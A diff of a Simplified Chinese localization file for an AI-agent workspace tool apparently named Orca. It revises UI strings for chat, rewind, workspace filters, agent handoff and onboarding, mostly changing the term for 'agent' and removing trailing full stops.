         "started_other": "已启动 {{count}} 个子智能体",
         "ran_other": "已运行 {{count}} 个子智能体"
       },
       "drop": {
         "messageTitle": "拖放以附加到此消息",
         "title": "拖放以附加到此聊天",
-        "subtitle": "文件将作为智能体可以读取的路径添加到您的消息中。"
+        "subtitle": "文件将以代理可读取的路径形式添加到消息中"
       },
       "copyCode": "复制代码",
       "wrapLines": "自动换行",
       "disableLineWrap": "关闭自动换行",
       "context": {
-        "unavailable": "上下文用量暂时未知，将在智能体下次响应后提供。",
-        "summary": "上下文：{{used}}/{{window}} token（{{percent}}%），根据上一次响应的估算值。",
-        "used": "上下文：已用 {{used}} token，根据上一次响应的估算值。",
-        "unreported": "此会话无法提供上下文用量。"
+        "unavailable": "上下文用量暂时未知，将在代理下次响应后提供",
+        "summary": "上下文：{{used}}/{{window}} token（{{percent}}%），根据上一次响应的估算值",
+        "used": "上下文：已用 {{used}} token，根据上一次响应的估算值",
+        "unreported": "此会话无法提供上下文用量"
       },
       "agentMessage": {
         "messageFrom": "消息来自",
-        "unnamedSender": "一个智能体",
+        "unnamedSender": "一个代理",
         "messageFromCoordinator": "来自协调者的消息",
         "startedWorker": "已启动工作者",
         "handedOffToAgent": "已移交给智能体",
@@ -19118,7 +19510,7 @@
         "paused": "目标已暂停",
         "blocked": "目标受阻",
         "limited": "目标受限",
-        "attachmentsUnsupported": "在设定目标之前删除附件。",
+        "attachmentsUnsupported": "在设定目标之前删除附件",
         "set": "目标已设定"
       },
       "fileLinks": {
@@ -19129,7 +19521,7 @@
       "contextUsage": {
         "label": "上下文 {{used}}/{{window}} token，已用 {{percent}}%",
         "title": "上下文",
-        "estimated": "根据上一次响应的估算值。",
+        "estimated": "根据上一次响应的估算值",
         "deferredNote": "按需加载，不计入已用总量。"
       },
       "dismissDeliveryNotice": "关闭",
@@ -19141,7 +19533,7 @@
         "showLess": "收起"
       },
       "queuedMessages": {
-        "alreadySent": "此消息已发送。",
+        "alreadySent": "此消息已发送",
         "listLabel": "排队的消息",
         "steer": "立即发送",
         "send": "发送",
@@ -19149,39 +19541,40 @@
         "sendHint": "立即发送此消息",
         "delete": "删除",
         "moreActions": "更多操作",
-        "moveChanged": "队列在此移动前发生了变化。请重新拖动该消息。",
-        "reorderHint": "拖动可重新排序，或使用上、下方向键。",
+        "moveChanged": "队列在此移动前发生了变化。请重新拖动该消息",
+        "reorderHint": "拖动可重新排序，或使用上、下方向键",
         "reorderMessage": "重新排序消息",
         "editMessage": "编辑消息",
         "showFullMessage": "显示完整消息",
         "showLess": "收起",
         "withdrawnHold": "在发送前已停止",
-        "pausedSendFailed": "无法发送。点按发送以重试。",
+        "pausedSendFailed": "无法发送，点按发送以重试",
         "paused": "已暂停",
         "resume": "继续",
         "fromSender": "来自",
-        "pausedSendFailedWaiting": "无法发送。智能体完成后，点按发送以重试。",
+        "pausedSendFailedWaiting": "无法发送，代理完成后，点按发送以重试",
         "save": "保存",
         "editingMessage": "正在编辑消息",
-        "editChanged": "你编辑时此消息已更改。你编辑的内容已放入聊天输入框。",
-        "editChangedPrompt": "你编辑时此消息已更改。回答智能体后，你编辑的内容会出现在聊天输入框中。",
-        "editChangedNotSaved": "你编辑时此消息已更改。你的编辑未保存。",
-        "editFailed": "此消息无法编辑。",
-        "editGone": "此消息已发送或移除。你编辑的内容已放入聊天输入框。",
-        "editGonePrompt": "此消息已发送或移除。回答智能体后，你编辑的内容会出现在聊天输入框中。",
+        "editChanged": "你编辑时此消息已更改，你编辑的内容已放入聊天输入框",
+        "editChangedPrompt": "你编辑时此消息已更改，回答代理后，你编辑的内容会出现在聊天输入框中",
+        "editChangedNotSaved": "你编辑时此消息已更改，你的编辑未保存",
+        "editFailed": "此消息无法编辑",
+        "editGone": "此消息已发送或移除，你编辑的内容已放入聊天输入框",
+        "editGonePrompt": "此消息已发送或移除，回答代理后，你编辑的内容会出现在聊天输入框中",
         "imageCount_one": "{{count}} 张图片",
         "imageCount_other": "{{count}} 张图片",
         "collapse": "收起",
         "expand": "展开",
         "queued": "已排队",
-        "clearAll": "全部清除"
+        "clearAll": "全部清除",
+        "imageCount": "{{count}} 张图片"
       },
       "thought": "已思考",
       "thoughtForDuration": "思考了 {{duration}}",
       "structuredSessionHostDeclined": "已在终端中打开 {{value0}}",
-      "structuredSessionHostDeclinedDescription": "此工作区无法运行 {{value0}} 聊天。",
+      "structuredSessionHostDeclinedDescription": "此服务器无法在此工作区中运行 {{value0}} 聊天",
       "structuredSessionHostUnreachable": "无法连接到 {{value0}}",
-      "structuredSessionHostUnreachableDescription": "Orca 未打开 {{value0}} 聊天。请检查与服务器的连接，然后重试。",
+      "structuredSessionHostUnreachableDescription": "Orca 未打开 {{value0}} 聊天，请检查与服务器的连接，然后重试",
       "hostOutage": {
         "offline": "{{hostName}} 已离线",
         "reconnecting": "正在重新连接 {{hostName}}…",
@@ -19189,32 +19582,32 @@
         "stopped": "{{distro}} 已停止",
         "start": "启动",
         "unverifiable": "Orca 无法确认 {{distro}} 是否正在运行",
-        "startToSend": "请启动 {{distro}} 后再发送。",
+        "startToSend": "请启动 {{distro}} 后再发送",
         "startDistro": "启动 {{distro}}"
       },
       "interruptedContinue": {
         "continue": "继续",
-        "failed": "无法继续此聊天。请重试，或发送一条消息。",
-        "explanation": "继续后，智能体会先检查其上一步是否已完成。",
+        "failed": "无法继续此聊天，请重试，或发送一条消息",
+        "explanation": "继续后，代理会先检查其上一步是否已完成",
         "usageLimitExplanation": "让智能体从中断处继续。请在上限重置后使用。"
       },
       "rewind": {
-        "unsupported": "此聊天无法返回到更早的消息。",
-        "historyNotPaginated": "此旧版 Codex 聊天无法返回到更早的消息。请开始新聊天以使用“回溯到此处”。",
-        "busy": "当智能体空闲且此聊天中没有等待您处理的内容时可用。",
-        "staleEpoch": "对话已发生变化。请查看最新消息后重试。",
-        "invalidTarget": "对话无法返回到此消息。未做任何更改。",
-        "historyLimit": "此对话过长，无法回溯。未做任何更改。",
-        "providerRefused": "智能体无法返回到此消息。",
-        "proofMismatch": "智能体的历史记录与此聊天不匹配。请在继续前检查对话。",
-        "outcomeUnknown": "Orca 无法确认对话是否已返回到更早的消息。它会在发送您的下一条消息前进行检查。",
-        "outcomeUnknownReturned": "Orca 无法确认对话是否已返回到此消息。您的消息已回到输入框中，Orca 会在发送您的下一条消息前检查对话。",
-        "timeout": "返回到此消息后聊天未更新。请重新打开以查看最新内容。",
-        "refused": "Orca 无法返回到此消息。请在继续前检查对话。",
-        "unavailable": "请等待聊天完成连接。",
-        "pending": "请等待对话回溯到更早的消息。",
+        "unsupported": "此聊天无法返回到更早的消息",
+        "historyNotPaginated": "此旧版 Codex 聊天无法返回到更早的消息，请开始新聊天以使用“回溯到此处”",
+        "busy": "当代理空闲且此聊天中没有等待您处理的内容时可用",
+        "staleEpoch": "对话已发生变化，请查看最新消息后重试",
+        "invalidTarget": "对话无法返回到此消息，未做任何更改",
+        "historyLimit": "此对话过长，无法回溯，未做任何更改",
+        "providerRefused": "代理无法返回到此消息",
+        "proofMismatch": "代理的历史记录与此聊天不匹配，请在继续前检查对话",
+        "outcomeUnknown": "Orca 无法确认对话是否已返回到更早的消息，它会在发送您的下一条消息前进行检查",
+        "outcomeUnknownReturned": "Orca 无法确认对话是否已返回到此消息，您的消息已回到输入框中，Orca 会在发送您的下一条消息前检查对话",
+        "timeout": "返回到此消息后聊天未更新，请重新打开以查看最新内容",
+        "refused": "Orca 无法返回到此消息，请在继续前检查对话",
+        "unavailable": "请等待聊天完成连接",
+        "pending": "请等待对话回溯到更早的消息",
         "title": "回溯到此处？",
-        "confirmation": "要丢弃此消息及其之后的所有内容吗？该消息会返回到输入框，以便您编辑并重新发送。磁盘上的文件更改会保留。",
+        "confirmation": "要丢弃此消息及其之后的所有内容吗？该消息会返回到输入框，以便您编辑并重新发送，磁盘上的文件更改会保留",
         "confirm": "回溯",
         "cancel": "取消",
         "action": "回溯到此处"
@@ -19223,35 +19616,35 @@
       "visualLoading": "正在加载可视化",
       "visualOpenInNewTab": "在新标签页中打开",
       "resumeCommand": {
-        "description": "打开智能体会话历史",
+        "description": "打开代理会话历史",
         "argumentHint": "[搜索]",
-        "workspaceUnavailable": "此聊天的工作区尚未加载。请稍后再试一次 /resume。",
+        "workspaceUnavailable": "此聊天的工作区尚未加载，请稍后再试一次 /resume",
         "replaceTitle": "替换此聊天？",
-        "replaceDescription": "在此恢复“{{title}}”将停止 {{agent}} 在此聊天中正在进行的工作。",
+        "replaceDescription": "在此恢复“{{title}}”将停止 {{agent}} 在此聊天中正在进行的工作",
         "replace": "替换"
       },
       "antigravitySignIn": {
-        "sentence": "尚未登录 Antigravity。请在<settings>设置 → 账户 → Antigravity</settings>中登录，然后重新发送消息。"
+        "sentence": "尚未登录 Antigravity，请在<settings>设置 → 账户 → Antigravity</settings>中登录，然后重新发送消息"
       },
       "claudeSignIn": {
         "signingIn": "正在登录…"
       },
       "hostPermission": {
-        "checkAgain": "再次检查",
-        "checking": "正在检查该主机的聊天权限...",
-        "launchRefused": "Orca 未开始 {{value0}} 聊天",
-        "outdatedHost": "此主机运行的 Orca 版本较旧，会忽略聊天权限设置，因此 {{value0}} 将在未经询问的情况下运行。要使用 {{value1}}，请更新此主机上的 Orca。",
-        "unverified": "Orca 无法确认主机对 {{value0}} 的权限。"
+        "checkAgain": "重新检查",
+        "checking": "正在检查此主机的聊天权限…",
+        "launchRefused": "Orca 未启动 {{value0}} 聊天",
+        "outdatedHost": "此主机运行的 Orca 版本较旧，会忽略聊天权限，因此 {{value0}} 会在此处不经询问直接运行，请更新此主机上的 Orca 以使用 {{value1}}",
+        "unverified": "Orca 无法确认主机对 {{value0}} 的权限"
       },
-      "explicitChatSsh": "无法通过 SSH 进行聊天。请改为在终端中打开智能体。",
-      "explicitChatWsl": "WSL 中无法使用聊天功能。请改为在终端中打开智能体。",
-      "explicitChatUnavailable": "此工作区无法运行聊天。检查智能体安装或在终端中打开它。",
-      "structuredSessionTerminalNotVisible": "Orca 已在终端中打开 {{value0}}，但启动完成后无法在此处显示。您的聊天草稿已保留。",
+      "explicitChatSsh": "SSH 下无法使用聊天，请改为在终端中打开该代理",
+      "explicitChatWsl": "WSL 中无法使用聊天，请改为在终端中打开该代理",
+      "explicitChatUnavailable": "此工作区无法运行聊天，请检查代理安装情况，或在终端中打开它",
+      "structuredSessionTerminalNotVisible": "Orca 已在终端中打开 {{value0}}，但启动完成后无法在此处显示，你的聊天草稿已保留",
       "goalControl": {
-        "settingsRejected": "Codex 无法应用所选模型和推理强度。此目标更改尚未发送。请检查选择后重试。",
-        "settingsUnconfirmed": "Codex 未确认所选模型和推理强度。此目标更改尚未发送。请检查聊天后重试。",
-        "pauseUnconfirmed": "Codex 已停止运行，但尚未确认目标已暂停。请在继续前检查目标。",
-        "stopUnconfirmed": "Codex 无法确认停止。请在继续前检查聊天。"
+        "settingsRejected": "Codex 无法应用所选模型和推理强度。此目标更改尚未发送。请检查选择后重试",
+        "settingsUnconfirmed": "Codex 未确认所选模型和推理强度。此目标更改尚未发送。请检查聊天后重试",
+        "pauseUnconfirmed": "Codex 已停止运行，但尚未确认目标已暂停。请在继续前检查目标",
+        "stopUnconfirmed": "Codex 无法确认停止。请在继续前检查聊天"
       },
       "slashCommandDescriptions": {
         "clearConversation": "清除对话",
@@ -19346,34 +19739,34 @@
         "ran": "已运行 {{command}}"
       },
       "runtime": {
-        "readError": "无法从远程运行时读取智能体聊天。",
-        "tooOld": "此远程运行时版本过旧，无法显示智能体聊天历史。请更新远程运行时后查看。"
+        "readError": "无法从远程运行时读取智能体聊天",
+        "tooOld": "此远程运行时版本过旧，无法显示智能体聊天历史。请更新远程运行时后查看"
       },
       "sessionOption": {
-        "noLiveTerminal": "没有可用的活动终端。",
-        "commandCanceled": "输入框已关闭，Chat UI 命令已取消。",
-        "commandRejected": "终端未接受该命令。"
+        "noLiveTerminal": "没有可用的活动终端",
+        "commandCanceled": "输入框已关闭，Chat UI 命令已取消",
+        "commandRejected": "终端未接受该命令"
       },
       "sessionOptionErrors": {
-        "startOnly": "此选项只能在会话启动时设置。",
-        "modelRejected": "Claude 保留了当前模型。",
-        "modelUnverified": "无法验证模型变更，请打开终端检查。",
+        "startOnly": "此选项只能在会话启动时设置",
+        "modelRejected": "Claude 保留了当前模型",
+        "modelUnverified": "无法验证模型变更，请打开终端检查",
         "unknownOption": "未知的会话选项：{{id}}",
-        "agentPickerOnly": "此选项必须在智能体选择器中更改。",
-        "toggleBaselineUnknown": "当前值未知，请改用“切换”操作。",
-        "afterStartOnly": "此选项仅在会话启动后可用。",
-        "valueRequired": "此选项需要一个值。",
-        "toggleValueKnown": "此选项的值已知，请改选“开启”或“关闭”。"
+        "agentPickerOnly": "此选项必须在智能体选择器中更改",
+        "toggleBaselineUnknown": "当前值未知，请改用“切换”操作",
+        "afterStartOnly": "此选项仅在会话启动后可用",
+        "valueRequired": "此选项需要一个值",
+        "toggleValueKnown": "此选项的值已知，请改选“开启”或“关闭”"
       },
       "composerErrors": {
-        "goalObjectiveMissing": "请在 /goal 后描述目标。",
-        "commandUnavailable": "/{{name}} 在聊天会话中不可用。请使用斜杠菜单查看可用命令。",
-        "commandTakesNoArguments": "请使用 /{{name}}，不要附带参数。",
-        "commandUnsupportedByHost": "此聊天主机不支持 /{{name}}。",
-        "modelPickerFailed": "无法打开模型选择器。",
-        "effortPickerFailed": "无法打开推理强度选择器。",
-        "modelApplyFailed": "无法应用模型 {{value}}。",
-        "effortApplyFailed": "无法应用推理强度 {{value}}。"
+        "goalObjectiveMissing": "请在 /goal 后描述目标",
+        "commandUnavailable": "/{{name}} 在聊天会话中不可用。请使用斜杠菜单查看可用命令",
+        "commandTakesNoArguments": "请使用 /{{name}}，不要附带参数",
+        "commandUnsupportedByHost": "此聊天主机不支持 /{{name}}",
+        "modelPickerFailed": "无法打开模型选择器",
+        "effortPickerFailed": "无法打开推理强度选择器",
+        "modelApplyFailed": "无法应用模型 {{value}}",
+        "effortApplyFailed": "无法应用推理强度 {{value}}"
       },
       "usageLimitActions": {
         "continueNow": "立即继续",
@@ -19441,12 +19834,14 @@
         "many_other": "已创建 {{count}} 个拉取请求"
       },
       "splitRight": "向右拆分",
-      "splitDown": "向下拆分"
+      "splitDown": "向下拆分",
+      "newRowsAnnouncement": "你离开期间有新消息",
+      "newRowsMarker": "新消息"
     },
     "tab": {
       "bar": {
         "SortableTabContextMenu": {
-          "switchToTerminalView": "使用终端智能体继续",
+          "switchToTerminalView": "使用终端代理继续",
           "switchToChatView": "在聊天界面中继续",
           "allowAutoClose": "允许自动关闭"
         },
@@ -19468,7 +19863,7 @@
           "right": "关闭右侧标签页？",
           "left": "关闭左侧标签页？",
           "editors": "关闭所有编辑器标签页？",
-          "description": "选中的标签页将关闭。固定的标签页将保持打开。",
+          "description": "选中的标签页将关闭，固定的标签页将保持打开",
           "confirm": "关闭标签页"
         },
         "chatRename": {
@@ -19506,7 +19901,7 @@
             "completelyEmpty": "没有可丢失的内容",
             "kind": {
               "status": "状态",
-              "agent": "智能体",
+              "agent": "代理",
               "git": "Git",
               "review": "评审",
               "reviewState": "评审状态",
@@ -19524,153 +19919,153 @@
               "comment": "评论",
               "prunable": "可修剪",
               "locked": "已锁定",
-              "retainedAgents": "已完成的智能体"
+              "retainedAgents": "已完成的代理"
             }
           },
-          "noSizes": "尚未测量工作区大小。",
-          "noSizesDescription": "测量磁盘使用情况后会显示大小。",
+          "noSizes": "尚未测量工作区大小",
+          "noSizesDescription": "测量磁盘占用后将显示大小",
           "measureSizesTitle": "扫描工作区大小",
-          "sizeOnDisk": "磁盘大小：{{value0}}",
-          "checkingGitRow": "检查 git 状态",
-          "searchPlaceholder": "搜索名称、仓库、分支、路径、主机",
+          "sizeOnDisk": "磁盘占用：{{value0}}",
+          "checkingGitRow": "正在检查 Git 状态",
+          "searchPlaceholder": "搜索名称、仓库、分支、路径或主机",
           "searchLabel": "搜索工作区",
-          "filters": "过滤器",
-          "showingCount": "显示 {{value1}} 的 {{value0}}",
-          "clearFilters": "清除过滤器",
-          "checkingGit": "检查 git 状态：剩余 {{value0}}",
+          "filters": "筛选器",
+          "showingCount": "显示 {{value0}} / {{value1}}",
+          "clearFilters": "清除筛选器",
+          "checkingGit": "正在检查 Git 状态：剩余 {{value0}} 个",
           "facet": {
             "git": "Git",
             "review": "评审",
             "ticket": "工单",
             "location": "位置",
-            "safety": "安全",
+            "safety": "安全性",
             "activity": "活动",
-            "size": "磁盘大小",
+            "size": "磁盘占用",
             "status": "工作区状态",
-            "agent": "智能体",
+            "agent": "代理",
             "context": "本地上下文"
           },
-          "minAhead": "提交领先 ≥",
-          "minBehind": "提交落后 ≥",
+          "minAhead": "领先提交数 ≥",
+          "minBehind": "落后提交数 ≥",
           "branchQuery": "分支包含",
-          "prunable": "可修剪的",
-          "locked": "锁定",
+          "prunable": "可修剪",
+          "locked": "已锁定",
           "reviewPresence": "PR / MR",
-          "reviewProvider": "提供者",
-          "ticketPresence": "关联工单",
+          "reviewProvider": "提供商",
+          "ticketPresence": "已关联工单",
           "host": "主机",
           "repo": "仓库",
-          "pathPrefix": "路径开始于",
-          "blockerMode": "阻塞项匹配",
-          "blockerModeAny": "有任意一个",
-          "blockerModeNone": "没有",
-          "blockers": "阻塞项",
-          "dismissed": "被忽略",
+          "pathPrefix": "路径开头为",
+          "blockerMode": "阻碍项匹配",
+          "blockerModeAny": "包含任意项",
+          "blockerModeNone": "没有阻碍项",
+          "blockers": "阻碍项",
+          "dismissed": "已忽略",
           "idleSignal": {
             "lastVisited": "未打开",
             "lastActivity": "无活动",
-            "created": "之前创建过"
+            "created": "早于指定时间创建"
           },
-          "idleMinDays": "至少闲置时间",
+          "idleMinDays": "至少空闲",
           "days": "天",
-          "neverVisited": "从未打开过",
+          "neverVisited": "从未打开",
           "minSize": "至少",
-          "maxSize": "最多",
-          "includeUnsized": "包括未测量的工作区",
-          "matchStatusless": "包括没有状态的工作区",
-          "archived": "已存档",
+          "maxSize": "至多",
+          "includeUnsized": "包含未测量的工作区",
+          "matchStatusless": "包含无状态的工作区",
+          "archived": "已归档",
           "pinned": "已固定",
           "unread": "未读",
           "comment": "有评论",
-          "retainedDoneAgents": "已完成的智能体记录",
-          "contextPresence": "打开选项卡、终端、评论",
-          "completelyEmpty": "没有什么可失去的",
-          "noWorkspaces": "未找到工作区。",
-          "noMatches": "没有工作区与这些过滤器匹配。",
-          "noMatchesDescription": "每个工作区都在一个列表中 - 扩大一个方面或清除过滤器。",
+          "retainedDoneAgents": "已完成的代理记录",
+          "contextPresence": "打开的标签页、终端和评论",
+          "completelyEmpty": "没有任何需保留的内容",
+          "noWorkspaces": "未找到工作区",
+          "noMatches": "没有工作区符合这些筛选条件",
+          "noMatchesDescription": "所有工作区都在同一列表中——请放宽筛选条件或清除筛选器",
           "sortBy": "排序方式",
-          "sortByField": "按 {{value0}} 排序",
+          "sortByField": "按{{value0}}排序",
           "sort": {
-            "lastActivity": "上次活动",
-            "lastVisited": "上次打开",
-            "created": "已创建",
+            "lastActivity": "最近活动",
+            "lastVisited": "最近打开",
+            "created": "创建时间",
             "size": "大小",
             "name": "工作区",
             "repo": "仓库",
             "path": "路径",
             "host": "主机",
             "workspaceStatus": "状态",
-            "agent": "智能体",
+            "agent": "代理",
             "git": "Git",
             "ahead": "领先",
             "behind": "落后",
             "branch": "分支",
             "review": "评审",
             "ticket": "工单",
-            "localContext": "打开上下文",
-            "blockerCount": "阻塞项"
+            "localContext": "打开的上下文",
+            "blockerCount": "阻碍项"
           },
           "git": {
             "clean": "干净",
-            "dirty": "未提交的更改",
-            "unpushed": "未推送的提交",
+            "dirty": "有未提交更改",
+            "unpushed": "有未推送提交",
             "unknown": "未检查"
           },
           "agent": {
-            "working": "处理中",
-            "permission": "等着你",
-            "idle": "闲置"
+            "working": "工作中",
+            "permission": "等待你操作",
+            "idle": "空闲"
           },
           "review": {
-            "open": "打开",
+            "open": "开放",
             "draft": "草稿",
-            "merged": "合并",
+            "merged": "已合并",
             "closed": "已关闭",
             "unknown": "未知",
             "otherProvider": "其他"
           },
           "ticket": {
-            "workItem": "工作项目",
+            "workItem": "工作项",
             "linear": "Linear",
             "issue": "议题"
           },
           "triState": {
-            "any": "任何",
-            "only": "仅",
+            "any": "任意",
+            "only": "仅包含",
             "exclude": "排除"
           },
           "presence": {
-            "any": "任何",
-            "some": "有一个",
+            "any": "任意",
+            "some": "至少一个",
             "none": "没有"
           },
-          "idleSignalField": "空闲信号",
-          "updatedAgo": "已更新 {{value0}}",
-          "refreshing": "刷新中…",
-          "refreshingProgress": "刷新中{{value0}}/{{value1}}",
+          "idleSignalField": "空闲依据",
+          "updatedAgo": "更新于 {{value0}}",
+          "refreshing": "正在刷新…",
+          "refreshingProgress": "正在刷新 {{value0}}/{{value1}}",
           "notMeasured": "未测量",
-          "openWorkspaceNamed": "打开{{value0}}",
+          "openWorkspaceNamed": "打开 {{value0}}",
           "openWorkspace": "打开工作区",
           "workspaceStatus": "工作区状态：{{value0}}",
-          "measuringSizesProgress": "扫描 {{value0}}/{{value1}}",
-          "measuringSizes": "扫描尺寸",
-          "measureSizesFailed": "无法扫描工作区大小",
-          "selectedCount": "已选择 {{value0}}",
+          "measuringSizesProgress": "正在扫描 {{value0}}/{{value1}}",
+          "measuringSizes": "正在扫描大小",
+          "measureSizesFailed": "扫描工作区大小失败",
+          "selectedCount": "已选择 {{value0}} 个",
           "forceDeleteRisk_other": "{{count}} 个工作区目前存在风险，可能需要强制删除",
-          "selectionVanishedCount_other": "所选的 {{count}} 个工作区已不存在。",
-          "selectionWithheldCount_other": "所选的 {{count}} 个工作区被当前筛选条件隐藏，已取消选择。",
+          "selectionVanishedCount_other": "所选的 {{count}} 个工作区已不存在",
+          "selectionWithheldCount_other": "所选的 {{count}} 个工作区被当前筛选条件隐藏，已取消选择",
           "selectAllSafetyChecked_other": "选择全部 {{count}} 个已通过安全检查的工作区",
           "lastActive": "最后活跃：{{value0}}"
         },
         "scan": {
-          "progress": "扫描工作区 ({{value0}}/{{value1}})",
-          "singleError": "无法检查 {{value0}}：{{value1}}。某些工作区可能会丢失。刷新再试一次。",
-          "noWorkspaces": "未找到工作区。",
-          "fallbackRepository": "一个仓库",
+          "progress": "正在扫描工作区 ({{value0}}/{{value1}})",
+          "singleError": "无法检查 {{value0}}：{{value1}}，可能有部分工作区未显示，请刷新后重试",
+          "noWorkspaces": "未找到工作区",
+          "fallbackRepository": "仓库",
           "gitListFailed": "Git 无法列出工作树",
-          "multipleErrorsWithMore_other": "无法检查 {{count}} 个仓库（{{names}}，另有 {{moreCount}} 个）。部分工作区可能未显示。请刷新后重试。",
-          "multipleErrorsCount_other": "无法检查 {{count}} 个仓库（{{names}}）。部分工作区可能未显示。请刷新后重试。",
-          "readyCount_other": "找到 {{count}} 个工作区。"
+          "multipleErrorsWithMore_other": "无法检查 {{count}} 个仓库（{{names}}，另有 {{moreCount}} 个）。部分工作区可能未显示。请刷新后重试",
+          "multipleErrorsCount_other": "无法检查 {{count}} 个仓库（{{names}}）。部分工作区可能未显示。请刷新后重试",
+          "readyCount_other": "找到 {{count}} 个工作区"
         },
         "presentationFixtures": {
           "reviewAlphaCleanup": "评审 Alpha 清理"
@@ -19681,22 +20076,22 @@
         },
         "relativeTime": {
           "never": "从未",
-          "justNow": "现在",
-          "minutesAgo": "{{value0}}分钟前",
+          "justNow": "刚刚",
+          "minutesAgo": "{{value0}} 分钟前",
           "hoursAgo": "{{value0}} 小时前",
           "daysAgo": "{{value0}} 天前"
         },
         "host": {
           "label": "主机：{{value0}}",
           "unknown": "未知主机",
-          "candidateName": "{{value0}} 在 {{value1}} 上"
+          "candidateName": "{{value1}} 上的 {{value0}}"
         },
         "stopAgents": {
-          "titleMany": "停止这些智能体？",
-          "descriptionOne": "删除将停止智能体当前任务。",
-          "descriptionMany": "删除将停止这些智能体当前任务。",
-          "confirm": "停止智能体并删除",
-          "confirmOne": "停止智能体并删除"
+          "titleMany": "停止这些代理？",
+          "descriptionOne": "删除将停止代理当前任务",
+          "descriptionMany": "删除将停止这些代理当前任务",
+          "confirm": "停止代理并删除",
+          "confirmOne": "停止代理并删除"
         },
         "candidateRow": {
           "gitChip": {
@@ -19715,7 +20110,7 @@
       },
       "delete": {
         "changes": {
-          "permanentLoss": "Git 工作区中任何未提交或未跟踪的更改都将被永久删除。",
+          "permanentLoss": "Git 工作区中任何未提交或未跟踪的更改都将被永久删除",
           "unavailable": "无法检查更改",
           "checking": "正在检查更改…",
           "checkingDetails": "检查…",
@@ -19731,40 +20126,40 @@
           "closedToast_one": "已关闭 {{workspace}} 中 {{count}} 个有未保存编辑的文件",
           "closedToast_other": "已关闭 {{workspace}} 中 {{count}} 个有未保存编辑的文件",
           "reopen": "重新打开",
-          "reopenFailed": "部分文件无法重新打开。请打开工作区，然后再次尝试“重新打开”。"
+          "reopenFailed": "部分文件无法重新打开。请打开工作区，然后再次尝试“重新打开”"
         }
       }
     },
     "agentSessionContinuation": {
       "preparingContext": "正在准备已保存的聊天上下文…",
-      "handOffToAnotherAgent": "移交给另一个智能体",
-      "dialogTitle": "移交给另一个智能体",
-      "dialogDescription": "从当前进度启动一个新的智能体会话，原会话保持不变。",
+      "handOffToAnotherAgent": "移交给另一个代理",
+      "dialogTitle": "移交给另一个代理",
+      "dialogDescription": "从当前进度启动一个新的代理会话，原会话保持不变",
       "untitledSession": "当前会话",
-      "originalAgent": "原智能体：{{agent}}",
-      "agent": "智能体",
-      "selectAgent": "选择智能体",
-      "detectingAgents": "正在此工作区主机上检测智能体…",
-      "detectionFailed": "无法检测此工作区主机上的智能体。",
-      "noAgents": "未在此工作区主机上检测到已启用的智能体。",
+      "originalAgent": "原代理：{{agent}}",
+      "agent": "代理",
+      "selectAgent": "选择代理",
+      "detectingAgents": "正在此工作区主机上检测代理…",
+      "detectionFailed": "无法检测此工作区主机上的代理",
+      "noAgents": "未在此工作区主机上已检测已启用的代理",
       "onlySourceFamilyDetected": "此工作区主机上可用的智能体均与 {{agent}} 共享使用限额。请启用或安装其他智能体。",
       "context": "上下文",
-      "modeFocused": "聚焦交接（推荐）",
-      "modeFocusedDescription": "使用最新进度和当前工作区，仅在需要时读取更早的会话细节。",
-      "modeLoadedDescription": "使用此聊天中当前已加载的最近消息和当前工作区。",
-      "modeCapturedDescription": "使用捕获的文本和当前工作区。",
+      "modeFocused": "聚焦续接(推荐)",
+      "modeFocusedDescription": "使用最新进度和当前工作区，仅在需要时读取更早的会话细节",
+      "modeLoadedDescription": "使用此聊天中当前已加载的最近消息和当前工作区",
+      "modeCapturedDescription": "使用捕获的文本和当前工作区",
       "modeFull": "完整会话记录",
-      "modeFullDescription": "让新智能体在继续前读取完整的已保存会话。这可能需要更长时间，并消耗大量上下文、套餐用量或 API 额度。",
+      "modeFullDescription": "让新代理在继续前读取完整的已保存会话，这可能需要更长时间，并消耗大量上下文、套餐用量或 API 额度",
       "startsIn": "启动目录：",
       "startSession": "启动新会话",
       "starting": "正在启动…",
-      "noContext": "没有可用于在新会话中继续的上下文。",
-      "agentDisabled": "{{agent}} 已在智能体设置中停用。",
-      "agentUnavailable": "未在此工作区主机上检测到 {{agent}}。",
-      "sent": "已将会话上下文发送到新的 {{agent}} 会话。",
-      "deliveryFailed": "新的 {{agent}} 会话已启动，但无法发送上下文。",
-      "launchFailed": "无法启动新的 {{agent}} 会话。",
-      "deliveryUnconfirmed": "Orca 无法确认 {{agent}} 已收到会话上下文。请检查新会话，如果其输入为空，请自行粘贴。",
+      "noContext": "没有可用于在新会话中继续的上下文",
+      "agentDisabled": "{{agent}} 已在代理设置中停用",
+      "agentUnavailable": "未在此工作区主机上检测到 {{agent}}",
+      "sent": "已将会话上下文发送到新的 {{agent}} 会话",
+      "deliveryFailed": "新的 {{agent}} 会话已启动，但无法发送上下文",
+      "launchFailed": "无法启动新的 {{agent}} 会话",
+      "deliveryUnconfirmed": "Orca 无法确认 {{agent}} 已收到会话上下文，请检查新会话，如果其输入为空，请自行粘贴",
       "copyPrompt": "复制提示"
     },
     "terminalPane": {
@@ -19780,27 +20175,27 @@
     "onboarding": {
       "flow": {
         "stepTooltip": {
-          "agent": "默认智能体",
+          "agent": "默认代理",
           "theme": "外观",
           "windowsTerminal": "Windows 终端",
           "notifications": "通知",
           "integrations": "集成"
         },
         "actions": {
-          "addFirstProject": "添加您的第一个项目",
+          "addFirstProject": "添加第一个项目",
           "continue": "继续",
-          "openingAddProject": "打开添加项目..."
+          "openingAddProject": "正在打开添加项目…"
         }
       },
       "skipConfirmation": {
         "skip": "跳过",
-        "keepGoing": "不，继续"
+        "keepGoing": "不，继续设置"
       },
       "theme": {
         "hints": {
-          "system": "匹配操作系统",
-          "dark": "轻松护眼",
-          "light": "明亮、清脆"
+          "system": "跟随系统",
+          "dark": "更护眼",
+          "light": "明亮清晰"
         },
         "looks": {
           "activeNow": "当前",
@@ -19830,23 +20225,23 @@
       },
       "integrations": {
         "capabilities": {
-          "startWorkspaceFromIssue": "从任何 GitHub 议题或拉取请求启动工作区，并预先填充其标题和上下文",
-          "browseIssues": "无需离开 Orca，即可在任务视图中浏览 GitHub 议题并拉取请求",
-          "reviewStatus": "查看每个工作树上的问题状态、审核状态和 CI 检查",
-          "managePullRequests": "无需离开 Orca 即可阅读、评论和合并拉取请求"
+          "startWorkspaceFromIssue": "从任意 GitHub 议题或拉取请求创建工作区，并自动填充标题和上下文",
+          "browseIssues": "无需离开 Orca，即可在任务视图中浏览 GitHub 议题和拉取请求",
+          "reviewStatus": "在每个工作树中查看议题状态、评审状态和 CI 检查",
+          "managePullRequests": "无需离开 Orca，即可阅读、评论和合并拉取请求"
         }
       }
     },
